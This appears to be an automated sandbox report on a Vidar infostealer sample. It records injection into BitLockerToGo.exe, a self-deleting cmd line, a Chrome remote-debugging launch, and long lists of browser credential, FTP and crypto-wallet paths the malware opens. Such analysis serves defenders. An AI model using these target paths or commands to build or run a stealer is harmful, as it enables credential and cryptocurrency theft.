Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

9_2_0040E886

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 9_2_0040D84A lstrlenA,GetProcessHeap,RtlAllocateHeap,lstrcpyA,lstrcatA,

9_2_0040D84A

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\CYA75gigem.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\CYA75gigem.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_0040F029 CreateToolhelp32Snapshot,Process32First,StrCmpCA,Process32Next,StrCmpCA,CloseHandle,		9_2_0040F029
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_0040F0CA CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle,		9_2_0040F0CA

Writes to foreign memory regions

Source: C:\Users\user\Desktop\CYA75gigem.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 26F8008	Jump to behavior
Source: C:\Users\user\Desktop\CYA75gigem.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\CYA75gigem.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\CYA75gigem.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 419000	Jump to behavior
Source: C:\Users\user\Desktop\CYA75gigem.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 41D000	Jump to behavior
Source: C:\Users\user\Desktop\CYA75gigem.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 41F000	Jump to behavior
Source: C:\Users\user\Desktop\CYA75gigem.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 420000	Jump to behavior
Source: C:\Users\user\Desktop\CYA75gigem.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 421000	Jump to behavior

Source: C:\Users\user\Desktop\CYA75gigem.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\jmo89" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: CYA75gigem.exe

Binary or memory string: %s(?:\s+(\S+))?, gp->status=, not pointer-byte block (3814697265625: unknown pc Align 2-BytesAlign 4-BytesAlign 8-BytesAnimateWindowAssemblyRefOSAuthorizationBSTR_UserFreeBSTR_UserSizeBaseArena::.*BoolPtrStringBrowserSearchCONNECT_ERRORCache-ControlCertOpenStoreClearCustDataCoTaskMemFreeContent-RangeCreateActCtxWCreateGroupDMCreateMessageCreateRectRgnCreateTypeLibCreateWebhookDeleteMessageDeleteServiceDeleteWebhookDestroyWindowDrawFocusRectEFI ROM imageEFI byte codeEnumPrintersWEnumProcessesExitWindowsExFindFirstFileFindNextFileWFindResourceWFloat32StringFloat64StringFreeAddrInfoWGC sweep waitGetClassNameWGetClientRectGetDeviceCapsGetDriveTypeWGetGatewayBotGetGuildEmojiGetGuildRolesGetMenuItemIDGetScrollInfoGetSystemMenuGetThemeColorGetWindowLongGetWindowRectGunjala_GondiHanja / KanjiImageList_AddInterfaceImplInvalid GuildInvalid shardKana / HangulLoadTypeLibExMIPS with FPUMapViewOfFileMasaram_GondiMende_KikakuiModifyChannelModifyWebhookModule32NextWNtQueryObjectOMAP From SrcOld_HungarianOleInitializeOpenClipboardOpenThemeDataPdhCloseQueryRate limited.RegDeleteKeyWRegEnumKeyExWRegEnumValueWRegOpenKeyExWRtlGetVersionRtlInitStringRtlMoveMemorySHA256-RSAPSSSHA384-RSAPSSSHA512-RSAPSSSTREAM_CLOSEDSafeArrayCopySafeArrayLockSetBrushOrgExSetScrollInfoSetWindowLongShellExecuteWShell_TrayWndStandAloneSigStartServiceWStructEndBoolStructEndUintStructHeadIntStructHeadMapStructPtrHeadSysFreeStringThread32FirstUintPtrStringUnknown buildUnknown emojiUnknown errorUnknown guildUnknown lobbyUnknown tokenUsage of %s:

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

9_2_0040DE1C

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\CYA75gigem.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\CYA75gigem.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 9_2_00417842 SetFilePointer,SetFilePointer,GetLocalTime,SystemTimeToFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

9_2_00417842

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 9_2_00414CDB EntryPoint,lstrlenW,GetWindowsDirectoryW,GetComputerNameW,GetFullPathNameA,GetUserNameW,GetFileType,GetModuleFileNameA,GetTempPathW,

9_2_00414CDB

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 9_2_0040DDBF GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

9_2_0040DDBF

Source: C:\Users\user\Desktop\CYA75gigem.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 1.2.CYA75gigem.exe.a320000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.CYA75gigem.exe.a2e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.BitLockerToGo.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.BitLockerToGo.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.CYA75gigem.exe.a300000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.CYA75gigem.exe.a340000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.CYA75gigem.exe.a2c0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1660632126.00000000028C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1647208456.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1647170572.00000000028D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1592577669.000000000A2E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1673952082.00000000028CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1592577669.000000000A2C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1592577669.000000000A300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1592577669.000000000A320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1660700445.00000000028CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CYA75gigem.exe PID: 6856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7588, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000051C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000051C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000051C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000051C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000051C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000051C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000051C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 5gSVohAoh0ufGxrC.2rs\user\AppData\Roaming\Binance\simple-storage.json
Source: BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: BitLockerToGo.exe, 00000009.00000002.2101868029.000000000289A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000051C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000051C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000051C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\temporary\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\default\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\y572q81e.default\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\security_state\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match

File source: Process Memory Space: BitLockerToGo.exe PID: 7588, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 1.2.CYA75gigem.exe.a320000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.CYA75gigem.exe.a2e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.BitLockerToGo.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.BitLockerToGo.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.CYA75gigem.exe.a300000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.CYA75gigem.exe.a340000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.CYA75gigem.exe.a2c0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1660632126.00000000028C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1647208456.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1647170572.00000000028D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1592577669.000000000A2E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1673952082.00000000028CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1592577669.000000000A2C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1592577669.000000000A300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1592577669.000000000A320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1660700445.00000000028CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CYA75gigem.exe PID: 6856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7588, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Create Account	1 Extra Window Memory Injection	1 Obfuscated Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	412 Process Injection	1 DLL Side-Loading	1 Credentials in Registry	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Extra Window Memory Injection	NTDS	35 System Information Discovery	Distributed Component Object Model	11 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
